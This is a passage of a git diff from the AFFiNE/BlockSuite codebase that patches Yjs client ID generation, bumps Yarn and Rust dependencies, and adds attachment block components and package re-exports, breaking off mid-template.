-const generateNewClientId = random__namespace.uint32;
+const generateNewClientId = random__namespace.uint53;
/**
* @typedef {Object} DocOpts
diff --git a/dist/yjs.mjs b/dist/yjs.mjs
index 20c9e58c32bcb6bc714200a2561fd1f542c49523..14267e5e36d9781ca3810d5b70ff8c051dac779e 100644
--- a/dist/yjs.mjs
+++ b/dist/yjs.mjs
@@ -378,7 +378,7 @@ const equalDeleteSets = (ds1, ds2) => {
*/
-const generateNewClientId = random.uint32;
+const generateNewClientId = random.uint53;
/**
* @typedef {Object} DocOpts
diff --git a/src/utils/Doc.js b/src/utils/Doc.js
index 62643617c86e57c64dd9babdb792fa8888357ec0..4df5048ab12af1ae0f1154da67f06dce1fda7b49 100644
--- a/src/utils/Doc.js
+++ b/src/utils/Doc.js
@@ -20,7 +20,7 @@ import * as map from 'lib0/map'
import * as array from 'lib0/array'
import * as promise from 'lib0/promise'
-export const generateNewClientId = random.uint32
+export const generateNewClientId = random.uint53
/**
* @typedef {Object} DocOpts

View File

@@ -0,0 +1,39 @@
diff --git a/dist/yjs.cjs b/dist/yjs.cjs
index 8a343ca9d0a153e95b27ad337e0553a8cc80d5ca..7199cf6e05d9c2c3491e56c4d4bda109e1755563 100644
--- a/dist/yjs.cjs
+++ b/dist/yjs.cjs
@@ -416,7 +416,7 @@ const equalDeleteSets = (ds1, ds2) => {
*/
-const generateNewClientId = random__namespace.uint32;
+const generateNewClientId = random__namespace.uint53;
/**
* @typedef {Object} DocOpts
diff --git a/dist/yjs.mjs b/dist/yjs.mjs
index 1c29ce7fe8f146b78911d0af9a53d1b516e86494..220fa0faacf4dc2a787e18f7cc79100e7c516e3a 100644
--- a/dist/yjs.mjs
+++ b/dist/yjs.mjs
@@ -379,7 +379,7 @@ const equalDeleteSets = (ds1, ds2) => {
*/
-const generateNewClientId = random.uint32;
+const generateNewClientId = random.uint53;
/**
* @typedef {Object} DocOpts
diff --git a/src/utils/Doc.js b/src/utils/Doc.js
index d5165426f2314fc3c2388e64841e7cd6498a92a9..4bb2e5a8b79bb59f08a011af77e69af862312292 100644
--- a/src/utils/Doc.js
+++ b/src/utils/Doc.js
@@ -20,7 +20,7 @@ import * as map from 'lib0/map'
import * as array from 'lib0/array'
import * as promise from 'lib0/promise'
-export const generateNewClientId = random.uint32
+export const generateNewClientId = random.uint53
/**
* @typedef {Object} DocOpts

File diff suppressed because one or more lines are too long

934
.yarn/releases/yarn-4.6.0.cjs vendored Executable file

File diff suppressed because one or more lines are too long

View File

@@ -12,4 +12,4 @@ npmPublishAccess: public
npmPublishRegistry: "https://registry.npmjs.org"
yarnPath: .yarn/releases/yarn-4.5.0.cjs
yarnPath: .yarn/releases/yarn-4.6.0.cjs

3147
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -1,29 +1,53 @@
[workspace]
members = ["./packages/backend/native", "./packages/frontend/native", "./packages/frontend/native/schema"]
members = [
"./packages/backend/native",
"./packages/common/native",
"./packages/frontend/mobile-native",
"./packages/frontend/native",
"./packages/frontend/native/nbstore",
"./packages/frontend/native/schema",
"./packages/frontend/native/sqlite_v1",
]
resolver = "2"
[workspace.dependencies]
anyhow = "1"
chrono = "0.4"
dotenv = "0.15"
file-format = { version = "0.25", features = ["reader"] }
mimalloc = "0.1"
napi = { version = "3.0.0-alpha.12", features = ["async", "chrono_date", "error_anyhow", "napi9", "serde"] }
napi-build = { version = "2" }
napi-derive = { version = "3.0.0-alpha.12" }
notify = { version = "7", features = ["serde"] }
once_cell = "1"
parking_lot = "0.12"
rand = "0.8"
serde = "1"
serde_json = "1"
sha3 = "0.10"
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "tls-rustls"] }
tiktoken-rs = "0.6"
tokio = "1.37"
uuid = "1.8"
v_htmlescape = "0.15"
y-octo = { git = "https://github.com/y-crdt/y-octo.git", branch = "main" }
affine_common = { path = "./packages/common/native" }
affine_nbstore = { path = "./packages/frontend/native/nbstore" }
anyhow = "1"
base64-simd = "0.8"
block2 = "0.6"
chrono = "0.4"
core-foundation = "0.10"
coreaudio-rs = "0.12"
criterion2 = { version = "2", default-features = false }
dispatch2 = "0.2"
dotenvy = "0.15"
file-format = { version = "0.26", features = ["reader"] }
homedir = "0.3"
mimalloc = "0.1"
napi = { version = "3.0.0-alpha.12", features = ["async", "chrono_date", "error_anyhow", "napi9", "serde"] }
napi-build = { version = "2" }
napi-derive = { version = "3.0.0-alpha.12" }
notify = { version = "8", features = ["serde"] }
objc2 = "0.6"
objc2-foundation = "0.3"
once_cell = "1"
parking_lot = "0.12"
rand = "0.9"
rayon = "1.10"
rubato = "0.16"
screencapturekit = "0.3"
serde = "1"
serde_json = "1"
sha3 = "0.10"
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "tls-rustls"] }
thiserror = "2"
tiktoken-rs = "0.6"
tokio = "1.37"
uniffi = "0.29"
uuid = "1.8"
v_htmlescape = "0.15"
y-octo = { git = "https://github.com/y-crdt/y-octo.git", branch = "main" }
[profile.dev.package.sqlx-macros]
opt-level = 3

View File

@@ -127,6 +127,8 @@ AFFiNE now provides pre-built [templates](https://affine.pro/templates) from our
Welcome to the AFFiNE blog section! Here, youll find the latest insights, tips, and guides on how to maximize your experience with AFFiNE and AFFiNE AI, the leading Canvas AI tool for flexible note-taking and creative organization.
- [vision board template](https://affine.pro/blog/8-free-printable-vision-board-templates-examples-2023)
- [ai homework helper](https://affine.pro/blog/ai-homework-helper)
- [vision board maker](https://affine.pro/blog/vision-board-maker)
- [itinerary template](https://affine.pro/blog/free-customized-travel-itinerary-planner-templates)
- [one pager template](https://affine.pro/blog/top-12-one-pager-examples-how-to-create-your-own)
- [cornell notes template](https://affine.pro/blog/the-cornell-notes-template-and-system-learning-tips)

View File

@@ -0,0 +1,102 @@
{
"name": "@blocksuite/affine",
"description": "BlockSuite for Affine",
"type": "module",
"scripts": {
"build": "tsc --build --verbose",
"test:unit": "nx vite:test --run --passWithNoTests",
"test:unit:coverage": "nx vite:test --run --coverage",
"test:e2e": "playwright test"
},
"sideEffects": false,
"keywords": [],
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@blocksuite/block-std": "workspace:*",
"@blocksuite/blocks": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@blocksuite/sync": "workspace:*"
},
"exports": {
".": "./src/index.ts",
"./effects": "./src/effects.ts",
"./block-std": "./src/block-std/index.ts",
"./block-std/gfx": "./src/block-std/gfx.ts",
"./global": "./src/global/index.ts",
"./global/utils": "./src/global/utils.ts",
"./global/env": "./src/global/env.ts",
"./global/exceptions": "./src/global/exceptions.ts",
"./global/di": "./src/global/di.ts",
"./global/types": "./src/global/types.ts",
"./store": "./src/store/index.ts",
"./store/test": "./src/store/test.ts",
"./inline": "./src/inline/index.ts",
"./inline/consts": "./src/inline/consts.ts",
"./inline/types": "./src/inline/types.ts",
"./blocks": "./src/blocks/index.ts",
"./blocks/schemas": "./src/blocks/schemas.ts",
"./sync": "./src/sync/index.ts"
},
"typesVersions": {
"*": {
"effects": [
"dist/effects.d.ts"
],
"block-std": [
"dist/block-std/index.d.ts"
],
"block-std/gfx": [
"dist/block-std/gfx.d.ts"
],
"global": [
"dist/global/index.d.ts"
],
"global/utils": [
"dist/global/utils.d.ts"
],
"global/env": [
"dist/global/env.d.ts"
],
"global/exceptions": [
"dist/global/exceptions.d.ts"
],
"global/di": [
"dist/global/di.d.ts"
],
"global/types": [
"dist/global/types.d.ts"
],
"store": [
"dist/store/index.d.ts"
],
"inline": [
"dist/inline/index.d.ts"
],
"inline/consts": [
"dist/inline/consts.d.ts"
],
"inline/types": [
"dist/inline/types.d.ts"
],
"blocks": [
"dist/blocks/index.d.ts"
],
"blocks/schemas": [
"dist/blocks/schemas.d.ts"
],
"sync": [
"dist/sync/index.d.ts"
]
}
},
"files": [
"src",
"dist",
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.20.0"
}

View File

@@ -0,0 +1 @@
export * from '@blocksuite/block-std/gfx';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/block-std';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/blocks';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/blocks/schemas';

View File

@@ -0,0 +1,5 @@
import { effects as blocksEffects } from '@blocksuite/blocks/effects';
export function effects() {
blocksEffects();
}

View File

@@ -0,0 +1 @@
export * from '@blocksuite/global/di';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/global/env';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/global/exceptions';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/global';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/global/types';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/global/utils';

View File

@@ -0,0 +1 @@
export {};

View File

@@ -0,0 +1 @@
export * from '@blocksuite/inline/consts';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/inline';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/inline/types';

View File

@@ -0,0 +1,3 @@
/* eslint-disable @typescript-eslint/no-restricted-imports */
export * from '@blocksuite/store';

View File

@@ -0,0 +1,6 @@
export {
createAutoIncrementIdGenerator,
TestDoc,
TestMeta,
TestWorkspace,
} from '@blocksuite/store/test';

View File

@@ -0,0 +1 @@
export * from '@blocksuite/sync';

View File

@@ -0,0 +1,17 @@
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"rootDir": "./src",
"outDir": "./dist",
"tsBuildInfoFile": "./dist/tsconfig.tsbuildinfo"
},
"include": ["./src"],
"references": [
{ "path": "../../framework/block-std" },
{ "path": "../../blocks" },
{ "path": "../../framework/global" },
{ "path": "../../framework/inline" },
{ "path": "../../framework/store" },
{ "path": "../../framework/sync" }
]
}

View File

@@ -0,0 +1,46 @@
{
"name": "@blocksuite/affine-block-attachment",
"description": "Attachment block for BlockSuite.",
"type": "module",
"scripts": {
"build": "tsc",
"test:unit": "nx vite:test --run --passWithNoTests",
"test:unit:coverage": "nx vite:test --run --coverage",
"test:e2e": "playwright test"
},
"sideEffects": false,
"keywords": [],
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@blocksuite/affine-block-embed": "workspace:*",
"@blocksuite/affine-block-surface": "workspace:*",
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/block-std": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.1",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.12",
"file-type": "^20.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"zod": "^3.23.8"
},
"exports": {
".": "./src/index.ts",
"./effects": "./src/effects.ts"
},
"files": [
"src",
"dist",
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.20.0"
}

View File

@@ -0,0 +1,115 @@
import { AttachmentBlockSchema } from '@blocksuite/affine-model';
import {
BlockNotionHtmlAdapterExtension,
type BlockNotionHtmlAdapterMatcher,
FetchUtils,
HastUtils,
} from '@blocksuite/affine-shared/adapters';
import { getFilenameFromContentDisposition } from '@blocksuite/affine-shared/utils';
import { sha } from '@blocksuite/global/utils';
import { getAssetName, nanoid } from '@blocksuite/store';
export const attachmentBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatcher =
{
flavour: AttachmentBlockSchema.model.flavour,
toMatch: o => {
return (
HastUtils.isElement(o.node) &&
o.node.tagName === 'figure' &&
!!HastUtils.querySelector(o.node, '.source')
);
},
fromMatch: () => false,
toBlockSnapshot: {
enter: async (o, context) => {
if (!HastUtils.isElement(o.node)) {
return;
}
const { assets, walkerContext } = context;
if (!assets) {
return;
}
const embededFigureWrapper = HastUtils.querySelector(o.node, '.source');
let embededURL = '';
if (embededFigureWrapper) {
const embedA = HastUtils.querySelector(embededFigureWrapper, 'a');
embededURL =
typeof embedA?.properties.href === 'string'
? embedA.properties.href
: '';
}
if (embededURL) {
let blobId = '';
let name = '';
let type = '';
let size = 0;
if (!FetchUtils.fetchable(embededURL)) {
const embededURLSplit = embededURL.split('/');
while (embededURLSplit.length > 0) {
const key = assets
.getPathBlobIdMap()
.get(decodeURIComponent(embededURLSplit.join('/')));
if (key) {
blobId = key;
break;
}
embededURLSplit.shift();
}
const value = assets.getAssets().get(blobId);
if (value) {
name = getAssetName(assets.getAssets(), blobId);
size = value.size;
type = value.type;
}
} else {
const res = await fetch(embededURL).catch(error => {
console.warn('Error fetching embed:', error);
return null;
});
if (!res) {
return;
}
const resCloned = res.clone();
name =
getFilenameFromContentDisposition(
res.headers.get('Content-Disposition') ?? ''
) ??
(embededURL.split('/').at(-1) ?? 'file') +
'.' +
(res.headers.get('Content-Type')?.split('/').at(-1) ?? 'blob');
const file = new File([await res.blob()], name, {
type: res.headers.get('Content-Type') ?? '',
});
size = file.size;
type = file.type;
blobId = await sha(await resCloned.arrayBuffer());
assets?.getAssets().set(blobId, file);
await assets?.writeToBlob(blobId);
}
walkerContext
.openNode(
{
type: 'block',
id: nanoid(),
flavour: AttachmentBlockSchema.model.flavour,
props: {
name,
size,
type,
sourceId: blobId,
},
children: [],
},
'children'
)
.closeNode();
walkerContext.skipAllChildren();
}
},
},
fromBlockSnapshot: {},
};
export const AttachmentBlockNotionHtmlAdapterExtension =
BlockNotionHtmlAdapterExtension(attachmentBlockNotionHtmlAdapterMatcher);

View File

@@ -0,0 +1,296 @@
import { getEmbedCardIcons } from '@blocksuite/affine-block-embed';
import { CaptionedBlockComponent } from '@blocksuite/affine-components/caption';
import { HoverController } from '@blocksuite/affine-components/hover';
import {
AttachmentIcon16,
getAttachmentFileIcon,
} from '@blocksuite/affine-components/icons';
import { Peekable } from '@blocksuite/affine-components/peek';
import { toast } from '@blocksuite/affine-components/toast';
import {
type AttachmentBlockModel,
AttachmentBlockStyles,
} from '@blocksuite/affine-model';
import {
FileSizeLimitService,
ThemeProvider,
} from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import { BlockSelection, TextSelection } from '@blocksuite/block-std';
import { Slice } from '@blocksuite/store';
import { flip, offset } from '@floating-ui/dom';
import { html, nothing } from 'lit';
import { property, state } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import { ref } from 'lit/directives/ref.js';
import { styleMap } from 'lit/directives/style-map.js';
import { AttachmentOptionsTemplate } from './components/options.js';
import { AttachmentEmbedProvider } from './embed.js';
import { styles } from './styles.js';
import { checkAttachmentBlob, downloadAttachmentBlob } from './utils.js';
@Peekable()
export class AttachmentBlockComponent extends CaptionedBlockComponent<AttachmentBlockModel> {
static override styles = styles;
protected _isDragging = false;
protected _isResizing = false;
protected _whenHover: HoverController | null = new HoverController(
this,
({ abortController }) => {
const selection = this.host.selection;
const textSelection = selection.find(TextSelection);
if (
!!textSelection &&
(!!textSelection.to || !!textSelection.from.length)
) {
return null;
}
const blockSelections = selection.filter(BlockSelection);
if (
blockSelections.length > 1 ||
(blockSelections.length === 1 &&
blockSelections[0].blockId !== this.blockId)
) {
return null;
}
return {
template: AttachmentOptionsTemplate({
block: this,
model: this.model,
abortController,
}),
computePosition: {
referenceElement: this,
placement: 'top-start',
middleware: [flip(), offset(4)],
autoUpdate: true,
},
};
}
);
blockDraggable = true;
protected containerStyleMap = styleMap({
position: 'relative',
width: '100%',
margin: '18px 0px',
});
private get _maxFileSize() {
return this.std.store.get(FileSizeLimitService).maxFileSize;
}
convertTo = () => {
return this.std
.get(AttachmentEmbedProvider)
.convertTo(this.model, this._maxFileSize);
};
copy = () => {
const slice = Slice.fromModels(this.doc, [this.model]);
this.std.clipboard.copySlice(slice).catch(console.error);
toast(this.host, 'Copied to clipboard');
};
download = () => {
downloadAttachmentBlob(this);
};
embedded = () => {
return this.std
.get(AttachmentEmbedProvider)
.embedded(this.model, this._maxFileSize);
};
open = () => {
if (!this.blobUrl) {
return;
}
window.open(this.blobUrl, '_blank');
};
refreshData = () => {
checkAttachmentBlob(this).catch(console.error);
};
protected get embedView() {
return this.std
.get(AttachmentEmbedProvider)
.render(this.model, this.blobUrl, this._maxFileSize);
}
private _selectBlock() {
const selectionManager = this.host.selection;
const blockSelection = selectionManager.create(BlockSelection, {
blockId: this.blockId,
});
selectionManager.setGroup('note', [blockSelection]);
}
override connectedCallback() {
super.connectedCallback();
this.refreshData();
this.contentEditable = 'false';
if (!this.model.style) {
this.doc.withoutTransact(() => {
this.doc.updateBlock(this.model, {
style: AttachmentBlockStyles[1],
});
});
}
this.model.propsUpdated.on(({ key }) => {
if (key === 'sourceId') {
// Reset the blob url when the sourceId is changed
if (this.blobUrl) {
URL.revokeObjectURL(this.blobUrl);
this.blobUrl = undefined;
}
this.refreshData();
}
});
// Workaround for https://github.com/toeverything/blocksuite/issues/4724
this.disposables.add(
this.std.get(ThemeProvider).theme$.subscribe(() => this.requestUpdate())
);
// this is required to prevent iframe from capturing pointer events
this.disposables.add(
this.selected$.subscribe(selected => {
this._showOverlay = this._isResizing || this._isDragging || !selected;
})
);
// this is required to prevent iframe from capturing pointer events
this.handleEvent('dragStart', () => {
this._isDragging = true;
this._showOverlay =
this._isResizing || this._isDragging || !this.selected$.peek();
});
this.handleEvent('dragEnd', () => {
this._isDragging = false;
this._showOverlay =
this._isResizing || this._isDragging || !this.selected$.peek();
});
}
override disconnectedCallback() {
if (this.blobUrl) {
URL.revokeObjectURL(this.blobUrl);
}
super.disconnectedCallback();
}
override firstUpdated() {
// lazy bindings
this.disposables.addFromEvent(this, 'click', this.onClick);
}
protected onClick(event: MouseEvent) {
// the peek view need handle shift + click
if (event.defaultPrevented) return;
event.stopPropagation();
this._selectBlock();
}
override renderBlock() {
const { name, size, style } = this.model;
const cardStyle = style ?? AttachmentBlockStyles[1];
const theme = this.std.get(ThemeProvider).theme;
const { LoadingIcon } = getEmbedCardIcons(theme);
const titleIcon = this.loading ? LoadingIcon : AttachmentIcon16;
const titleText = this.loading ? 'Loading...' : name;
const infoText = this.error ? 'File loading failed.' : humanFileSize(size);
const fileType = name.split('.').pop() ?? '';
const FileTypeIcon = getAttachmentFileIcon(fileType);
const embedView = this.embedView;
return html`
<div
${this._whenHover ? ref(this._whenHover.setReference) : nothing}
class="affine-attachment-container"
style=${this.containerStyleMap}
>
${embedView
? html`<div class="affine-attachment-embed-container">
${embedView}
<div
class=${classMap({
'affine-attachment-iframe-overlay': true,
hide: !this._showOverlay,
})}
></div>
</div>`
: html`<div
class=${classMap({
'affine-attachment-card': true,
[cardStyle]: true,
loading: this.loading,
error: this.error,
unsynced: false,
})}
>
<div class="affine-attachment-content">
<div class="affine-attachment-content-title">
<div class="affine-attachment-content-title-icon">
${titleIcon}
</div>
<div class="affine-attachment-content-title-text">
${titleText}
</div>
</div>
<div class="affine-attachment-content-info">${infoText}</div>
</div>
<div class="affine-attachment-banner">${FileTypeIcon}</div>
</div>`}
</div>
`;
}
@state()
protected accessor _showOverlay = true;
@property({ attribute: false })
accessor allowEmbed = false;
@property({ attribute: false })
accessor blobUrl: string | undefined = undefined;
@property({ attribute: false })
accessor downloading = false;
@property({ attribute: false })
accessor error = false;
@property({ attribute: false })
accessor loading = false;
override accessor useCaptionEditor = true;
}
declare global {
interface HTMLElementTagNameMap {
'affine-attachment': AttachmentBlockComponent;
}
}

View File

@@ -0,0 +1,72 @@
import { EdgelessLegacySlotIdentifier } from '@blocksuite/affine-block-surface';
import type { HoverController } from '@blocksuite/affine-components/hover';
import { AttachmentBlockStyles } from '@blocksuite/affine-model';
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { toGfxBlockComponent } from '@blocksuite/block-std';
import { styleMap } from 'lit/directives/style-map.js';
import { AttachmentBlockComponent } from './attachment-block.js';
export class AttachmentEdgelessBlockComponent extends toGfxBlockComponent(
AttachmentBlockComponent
) {
protected override _whenHover: HoverController | null = null;
override blockDraggable = false;
get slots() {
return this.std.get(EdgelessLegacySlotIdentifier);
}
override connectedCallback(): void {
super.connectedCallback();
this._disposables.add(
this.slots.elementResizeStart.on(() => {
this._isResizing = true;
this._showOverlay = true;
})
);
this._disposables.add(
this.slots.elementResizeEnd.on(() => {
this._isResizing = false;
this._showOverlay =
this._isResizing || this._isDragging || !this.selected$.peek();
})
);
}
override onClick(_: MouseEvent) {
return;
}
override renderGfxBlock() {
const { style$ } = this.model;
const cardStyle = style$.value ?? AttachmentBlockStyles[1];
const width = EMBED_CARD_WIDTH[cardStyle];
const height = EMBED_CARD_HEIGHT[cardStyle];
const bound = this.model.elementBound;
const scaleX = bound.w / width;
const scaleY = bound.h / height;
this.containerStyleMap = styleMap({
width: `${width}px`,
height: `${height}px`,
transform: `scale(${scaleX}, ${scaleY})`,
transformOrigin: '0 0',
overflow: 'hidden',
});
return this.renderPageContent();
}
}
declare global {
interface HTMLElementTagNameMap {
'affine-edgeless-attachment': AttachmentEdgelessBlockComponent;
}
}

View File

@@ -0,0 +1,57 @@
import { SurfaceBlockModel } from '@blocksuite/affine-block-surface';
import { FileDropConfigExtension } from '@blocksuite/affine-components/drop-indicator';
import { AttachmentBlockSchema } from '@blocksuite/affine-model';
import {
FileSizeLimitService,
TelemetryProvider,
} from '@blocksuite/affine-shared/services';
import {
isInsideEdgelessEditor,
matchModels,
} from '@blocksuite/affine-shared/utils';
import { GfxControllerIdentifier } from '@blocksuite/block-std/gfx';
import { addAttachments, addSiblingAttachmentBlocks } from './utils.js';
export const AttachmentDropOption = FileDropConfigExtension({
flavour: AttachmentBlockSchema.model.flavour,
onDrop: ({ files, targetModel, placement, point, std }) => {
// generic attachment block for all files except images
const attachmentFiles = files.filter(
file => !file.type.startsWith('image/')
);
if (!attachmentFiles.length) return false;
const maxFileSize = std.store.get(FileSizeLimitService).maxFileSize;
if (targetModel && !matchModels(targetModel, [SurfaceBlockModel])) {
addSiblingAttachmentBlocks(
std.host,
attachmentFiles,
maxFileSize,
targetModel,
placement
).catch(console.error);
return true;
}
if (isInsideEdgelessEditor(std.host)) {
const gfx = std.get(GfxControllerIdentifier);
point = gfx.viewport.toViewCoordFromClientCoord(point);
addAttachments(std, attachmentFiles, point).catch(console.error);
std.getOptional(TelemetryProvider)?.track('CanvasElementAdded', {
control: 'canvas:drop',
page: 'whiteboard editor',
module: 'toolbar',
segment: 'toolbar',
type: 'attachment',
});
return true;
}
return false;
},
});

View File

@@ -0,0 +1,23 @@
import { BlockViewExtension, FlavourExtension } from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { AttachmentBlockNotionHtmlAdapterExtension } from './adapters/notion-html.js';
import { AttachmentDropOption } from './attachment-service.js';
import {
AttachmentEmbedConfigExtension,
AttachmentEmbedService,
} from './embed.js';
export const AttachmentBlockSpec: ExtensionType[] = [
FlavourExtension('affine:attachment'),
BlockViewExtension('affine:attachment', model => {
return model.parent?.flavour === 'affine:surface'
? literal`affine-edgeless-attachment`
: literal`affine-attachment`;
}),
AttachmentDropOption,
AttachmentEmbedConfigExtension(),
AttachmentEmbedService,
AttachmentBlockNotionHtmlAdapterExtension,
];

View File

@@ -0,0 +1,77 @@
import {
CopyIcon,
DeleteIcon,
DownloadIcon,
DuplicateIcon,
RefreshIcon,
} from '@blocksuite/affine-components/icons';
import type { MenuItemGroup } from '@blocksuite/affine-components/toolbar';
import { cloneAttachmentProperties } from '../utils.js';
import type { AttachmentToolbarMoreMenuContext } from './context.js';
export const BUILT_IN_GROUPS: MenuItemGroup<AttachmentToolbarMoreMenuContext>[] =
[
{
type: 'clipboard',
items: [
{
type: 'copy',
label: 'Copy',
icon: CopyIcon,
disabled: ({ doc }) => doc.readonly,
action: ctx => ctx.blockComponent.copy(),
},
{
type: 'duplicate',
label: 'Duplicate',
icon: DuplicateIcon,
disabled: ({ doc }) => doc.readonly,
action: ({ doc, blockComponent, close }) => {
const model = blockComponent.model;
const prop: { flavour: 'affine:attachment' } = {
flavour: 'affine:attachment',
...cloneAttachmentProperties(model),
};
doc.addSiblingBlocks(model, [prop]);
close();
},
},
{
type: 'reload',
label: 'Reload',
icon: RefreshIcon,
disabled: ({ doc }) => doc.readonly,
action: ({ blockComponent, close }) => {
blockComponent.refreshData();
close();
},
},
{
type: 'download',
label: 'Download',
icon: DownloadIcon,
disabled: ({ doc }) => doc.readonly,
action: ({ blockComponent, close }) => {
blockComponent.download();
close();
},
},
],
},
{
type: 'delete',
items: [
{
type: 'delete',
label: 'Delete',
icon: DeleteIcon,
disabled: ({ doc }) => doc.readonly,
action: ({ doc, blockComponent, close }) => {
doc.deleteBlock(blockComponent.model);
close();
},
},
],
},
];

View File

@@ -0,0 +1,45 @@
import { MenuContext } from '@blocksuite/affine-components/toolbar';
import type { AttachmentBlockComponent } from '../attachment-block.js';
export class AttachmentToolbarMoreMenuContext extends MenuContext {
override close = () => {
this.abortController.abort();
};
get doc() {
return this.blockComponent.doc;
}
get host() {
return this.blockComponent.host;
}
get selectedBlockModels() {
if (this.blockComponent.model) return [this.blockComponent.model];
return [];
}
get std() {
return this.blockComponent.std;
}
constructor(
public blockComponent: AttachmentBlockComponent,
public abortController: AbortController
) {
super();
}
isEmpty() {
return false;
}
isMultiple() {
return false;
}
isSingle() {
return true;
}
}

View File

@@ -0,0 +1,229 @@
import {
CaptionIcon,
DownloadIcon,
EditIcon,
} from '@blocksuite/affine-components/icons';
import { createLitPortal } from '@blocksuite/affine-components/portal';
import {
cloneGroups,
getMoreMenuConfig,
renderGroups,
renderToolbarSeparator,
} from '@blocksuite/affine-components/toolbar';
import {
type AttachmentBlockModel,
defaultAttachmentProps,
} from '@blocksuite/affine-model';
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { Bound } from '@blocksuite/global/utils';
import { ArrowDownSmallIcon, MoreVerticalIcon } from '@blocksuite/icons/lit';
import { flip, offset } from '@floating-ui/dom';
import { html, nothing } from 'lit';
import { join } from 'lit/directives/join.js';
import { repeat } from 'lit/directives/repeat.js';
import type { AttachmentBlockComponent } from '../attachment-block.js';
import { BUILT_IN_GROUPS } from './config.js';
import { AttachmentToolbarMoreMenuContext } from './context.js';
import { RenameModal } from './rename-model.js';
import { styles } from './styles.js';
export function attachmentViewToggleMenu({
block,
callback,
}: {
block: AttachmentBlockComponent;
callback?: () => void;
}) {
const model = block.model;
const readonly = model.doc.readonly;
const embedded = model.embed;
const viewType = embedded ? 'embed' : 'card';
const viewActions = [
{
type: 'card',
label: 'Card view',
disabled: readonly || !embedded,
action: () => {
const style = defaultAttachmentProps.style!;
const width = EMBED_CARD_WIDTH[style];
const height = EMBED_CARD_HEIGHT[style];
const bound = Bound.deserialize(model.xywh);
bound.w = width;
bound.h = height;
model.doc.updateBlock(model, {
style,
embed: false,
xywh: bound.serialize(),
});
callback?.();
},
},
{
type: 'embed',
label: 'Embed view',
disabled: readonly || embedded || !block.embedded(),
action: () => {
block.convertTo();
callback?.();
},
},
];
return html`
<editor-menu-button
.contentPadding=${'8px'}
.button=${html`
<editor-icon-button
aria-label="Switch view"
.justify=${'space-between'}
.labelHeight=${'20px'}
.iconContainerWidth=${'110px'}
>
<div class="label">
<span style="text-transform: capitalize">${viewType}</span>
view
</div>
${ArrowDownSmallIcon({ width: '16px', height: '16px' })}
</editor-icon-button>
`}
>
<div data-size="small" data-orientation="vertical">
${repeat(
viewActions,
button => button.type,
({ type, label, action, disabled }) => html`
<editor-menu-action
aria-label=${label}
data-testid=${`link-to-${type}`}
?data-selected=${type === viewType}
?disabled=${disabled}
@click=${action}
>
${label}
</editor-menu-action>
`
)}
</div>
</editor-menu-button>
`;
}
export function AttachmentOptionsTemplate({
block,
model,
abortController,
}: {
block: AttachmentBlockComponent;
model: AttachmentBlockModel;
abortController: AbortController;
}) {
const std = block.std;
const editorHost = block.host;
const readonly = model.doc.readonly;
const context = new AttachmentToolbarMoreMenuContext(block, abortController);
const groups = getMoreMenuConfig(std).configure(cloneGroups(BUILT_IN_GROUPS));
const moreMenuActions = renderGroups(groups, context);
const buttons = [
// preview
// html`
// <editor-icon-button aria-label="Preview" .tooltip=${'Preview'}>
// ${ViewIcon}
// </editor-icon-button>
// `,
readonly
? nothing
: html`
<editor-icon-button
aria-label="Rename"
.tooltip=${'Rename'}
@click=${() => {
abortController.abort();
const renameAbortController = new AbortController();
createLitPortal({
template: RenameModal({
model,
editorHost,
abortController: renameAbortController,
}),
computePosition: {
referenceElement: block,
placement: 'top-start',
middleware: [flip(), offset(4)],
// It has a overlay mask, so we don't need to update the position.
// autoUpdate: true,
},
abortController: renameAbortController,
});
}}
>
${EditIcon}
</editor-icon-button>
`,
attachmentViewToggleMenu({
block,
callback: () => abortController.abort(),
}),
readonly
? nothing
: html`
<editor-icon-button
aria-label="Download"
.tooltip=${'Download'}
@click=${() => block.download()}
>
${DownloadIcon}
</editor-icon-button>
`,
readonly
? nothing
: html`
<editor-icon-button
aria-label="Caption"
.tooltip=${'Caption'}
@click=${() => block.captionEditor?.show()}
>
${CaptionIcon}
</editor-icon-button>
`,
html`
<editor-menu-button
.contentPadding=${'8px'}
.button=${html`
<editor-icon-button
aria-label="More"
.tooltip=${'More'}
.iconSize=${'20px'}
>
${MoreVerticalIcon()}
</editor-icon-button>
`}
>
<div data-size="large" data-orientation="vertical">
${moreMenuActions}
</div>
</editor-menu-button>
`,
];
return html`
<style>
${styles}
</style>
<editor-toolbar class="affine-attachment-toolbar">
${join(
